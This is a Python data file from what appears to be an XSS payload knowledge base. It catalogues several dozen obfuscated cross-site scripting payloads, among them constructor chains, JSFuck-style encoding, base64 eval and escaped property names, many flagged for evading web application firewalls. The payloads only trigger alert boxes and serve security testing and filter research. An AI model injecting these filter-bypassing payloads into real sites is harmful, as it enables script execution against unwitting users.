#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Obfuscation Payloads
"""

from ..models import PayloadEntry


OBFUSCATION_ADVANCED_PAYLOADS = {
    "obf_adv_1": PayloadEntry(
        payload="<script>([,ᴴ='',É=[+!ᴴ]+[-~[]][ᴴ]+(!!ᴴ+ᴴ)[+!ᴴ]+(~+[]+'')[~-~[]]+(~!ᴴ+'')[-~[]]+((!ᴴ+'')[-~[]])]['find']['constructor']('return this')()</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Heavy obfuscation with unicode",
        tags=["obfuscation", "advanced", "unicode"],
        waf_evasion=True,
        reliability="medium",
    ),
    "obf_adv_2": PayloadEntry(
        payload="<script>Proxy.__proto__.constructor('alert(1)')()</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Proxy prototype constructor",
        tags=["obfuscation", "proxy", "prototype"],
        waf_evasion=True,
        reliability="high",
    ),
    "obf_adv_3": PayloadEntry(
        payload="<script>Error.__proto__.constructor('alert(1)')()</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Error prototype constructor",
        tags=["obfuscation", "error", "prototype"],
        waf_evasion=True,
        reliability="high",
    ),
    "obf_adv_4": PayloadEntry(
        payload="<script>Set.__proto__.constructor('alert(1)')()</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Set prototype constructor",
        tags=["obfuscation", "set", "prototype"],
        waf_evasion=True,
        reliability="high",
    ),
    "obf_adv_5": PayloadEntry(
        payload="<script>Map.__proto__.constructor('alert(1)')()</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Map prototype constructor",
        tags=["obfuscation", "map", "prototype"],
        waf_evasion=True,
        reliability="high",
    ),
}

OBFUSCATION_PAYLOADS = {
    "obf_1": PayloadEntry(
        payload="<script>eval(atob('YWxlcnQoMSk='))</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Base64 encoded via atob",
        tags=["obfuscation", "base64", "atob"],
        waf_evasion=True,
        reliability="high",
    ),
    "obf_2": PayloadEntry(
        payload="<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="CharCode encoding",
        tags=["obfuscation", "charcode"],
        waf_evasion=True,
        reliability="high",
    ),
    "obf_3": PayloadEntry(
        payload="<script>[]['filter']['constructor']('alert(1)')()</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Bracket notation constructor",
        tags=["obfuscation", "bracket", "constructor"],
        waf_evasion=True,
        reliability="high",
    ),
    "obf_4": PayloadEntry(
        payload="<script>(+[]+[])[+[]]+(![]+[])[!+[]+!+[]]+(+(!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]))[(!+[]+!+[]+!+[])]+(!![]+[])[+!+[]]</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="JSFuck style obfuscation",
        tags=["obfuscation", "jsfuck"],
        waf_evasion=True,
        reliability="high",
    ),
    "obf_5": PayloadEntry(
        payload="<script>Function('ale'+'rt(1)')()</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Function constructor with concat",
        tags=["obfuscation", "function", "concat"],
        waf_evasion=True,
        reliability="high",
    ),
    "obf_6": PayloadEntry(
        payload="<script>new Function`ale${/**/}rt${/**/}(1)`</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Template literal Function",
        tags=["obfuscation", "template", "function"],
        waf_evasion=True,
        reliability="high",
    ),
    "obf_7": PayloadEntry(
        payload="<script>setTimeout`alert\\x281\\x29`</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="setTimeout with template literal",
        tags=["obfuscation", "settimeout", "template"],
        waf_evasion=True,
        reliability="high",
    ),
    "obf_8": PayloadEntry(
        payload="<script>window['al\\x65rt'](1)</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Hex escape in property name",
        tags=["obfuscation", "hex", "property"],
        waf_evasion=True,
        reliability="high",
    ),
    "obf_9": PayloadEntry(
        payload="<script>this['ale'+'rt'](1)</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="String concat in bracket",
        tags=["obfuscation", "concat", "bracket"],
        waf_evasion=True,
        reliability="high",
    ),
    "obf_10": PayloadEntry(
        payload="<script>(()=>{}).constructor('alert(1)')()</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Arrow function constructor",
        tags=["obfuscation", "arrow", "constructor"],
        waf_evasion=True,
        reliability="high",
    ),
    # === OWASP Alert Obfuscation ===
    "owasp-alert-parens": PayloadEntry(
        payload="(alert)(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Alert with extra parentheses",
        tags=["owasp", "obfuscation", "alert", "parens"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-alert-assign": PayloadEntry(
        payload="a=alert,a(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Alert via variable assignment",
        tags=["owasp", "obfuscation", "alert", "assign"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-alert-find": PayloadEntry(
        payload="[1].find(alert)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Alert via Array.find callback",
        tags=["owasp", "obfuscation", "alert", "find"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-alert-concat": PayloadEntry(
        payload='top["al"+"ert"](1)',
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Alert via string concatenation",
        tags=["owasp", "obfuscation", "alert", "concat"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-alert-regex": PayloadEntry(
        payload="top[/al/.source+/ert/.source](1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Alert via regex source concatenation",
        tags=["owasp", "obfuscation", "alert", "regex"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-alert-unicode": PayloadEntry(
        payload="al\\u0065rt(1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Alert with unicode escape",
        tags=["owasp", "obfuscation", "alert", "unicode"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-alert-octal": PayloadEntry(
        payload="top['al\\145rt'](1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Alert with octal escape",
        tags=["owasp", "obfuscation", "alert", "octal"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-alert-hex": PayloadEntry(
        payload="top['al\\x65rt'](1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Alert with hex escape",
        tags=["owasp", "obfuscation", "alert", "hex"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-alert-tostring": PayloadEntry(
        payload="top[8680439..toString(30)](1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Alert via number.toString with base",
        tags=["owasp", "obfuscation", "alert", "tostring"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-alert-optional": PayloadEntry(
        payload="alert?.()",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Alert with optional chaining",
        tags=["owasp", "obfuscation", "alert", "optional-chaining", "es2020"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-double-escape": PayloadEntry(
        payload="\\';alert(String.fromCharCode(88,83,83))//",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Escaping JavaScript escapes",
        tags=["owasp", "escape", "javascript"],
        reliability="high",
    ),
    "owasp-es6-set": PayloadEntry(
        payload="Set.constructor`alert\\x28document.domain\\x29```",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="ECMAScript 6 Set constructor",
        tags=["owasp", "es6", "constructor", "modern"],
        reliability="high",
    ),
    "owasp-template-backtick": PayloadEntry(
        payload="`${alert``}`",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Template literal with alert",
        tags=["owasp", "template", "backtick", "es6"],
        reliability="high",
        waf_evasion=True,
    ),
    # === PortSwigger WAF Bypass Global Objects ===
    "ps-waf-self-alert": PayloadEntry(
        payload="self['alert'](1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="WAF bypass using self object",
        tags=["portswigger", "waf-bypass", "self", "global"],
        reliability="high",
        waf_evasion=True,
    ),
    "ps-waf-parent-alert": PayloadEntry(
        payload="parent['alert'](1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="WAF bypass using parent object",
        tags=["portswigger", "waf-bypass", "parent", "global"],
        reliability="high",
        waf_evasion=True,
    ),
    "ps-waf-top-alert": PayloadEntry(
        payload="top['alert'](1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="WAF bypass using top object",
        tags=["portswigger", "waf-bypass", "top", "global"],
        reliability="high",
        waf_evasion=True,
    ),
    "ps-waf-frames-alert": PayloadEntry(
        payload="frames['alert'](1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="WAF bypass using frames object",
        tags=["portswigger", "waf-bypass", "frames", "global"],
        reliability="high",
        waf_evasion=True,
    ),
    "ps-waf-globalthis-alert": PayloadEntry(
        payload="globalThis['alert'](1)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="WAF bypass using globalThis (ES2020)",
        tags=["portswigger", "waf-bypass", "globalThis", "es2020"],
        reliability="high",
        waf_evasion=True,
    ),
    "ps-window-name-onerror": PayloadEntry(
        payload="<script>throw onerror=eval,{lineNumber:1,columnNumber:1,fileName:1,message:name}</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="window.name with onerror and throw - Firefox",
        tags=["portswigger", "window.name", "onerror", "throw"],
        reliability="high",
        browser_support=["firefox"],
        waf_evasion=True,
    ),
    "ps-no-parentheses-1": PayloadEntry(
        payload="alert`1`",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Alert without parentheses using template literals",
        tags=["portswigger", "no-parens", "template-literal"],
        reliability="high",
        waf_evasion=True,
    ),
    "ps-no-parentheses-2": PayloadEntry(
        payload="throw/a]onerror=alert//",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Alert without parentheses using throw/onerror",
        tags=["portswigger", "no-parens", "throw", "onerror"],
        reliability="high",
        waf_evasion=True,
    ),
    "ps-no-spaces": PayloadEntry(
        payload="<svg/onload=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="XSS without spaces using /",
        tags=["portswigger", "no-spaces", "svg"],
        reliability="high",
        waf_evasion=True,
    ),
    "ps-unicode-normalization": PayloadEntry(
        payload="<script>\\u0061lert(1)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Unicode normalization bypass",
        tags=["portswigger", "unicode", "normalization"],
        reliability="high",
        waf_evasion=True,
    ),
    "ps-html-entities-mixed": PayloadEntry(
        payload="<img src=x one&#114;ror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="HTML entity in event handler",
        tags=["portswigger", "html-entities", "event"],
        reliability="high",
        waf_evasion=True,
    ),
}

# Combined database
OBFUSCATION_DATABASE = {
    **OBFUSCATION_ADVANCED_PAYLOADS,
    **OBFUSCATION_PAYLOADS,
}
OBFUSCATION_TOTAL = len(OBFUSCATION_DATABASE)
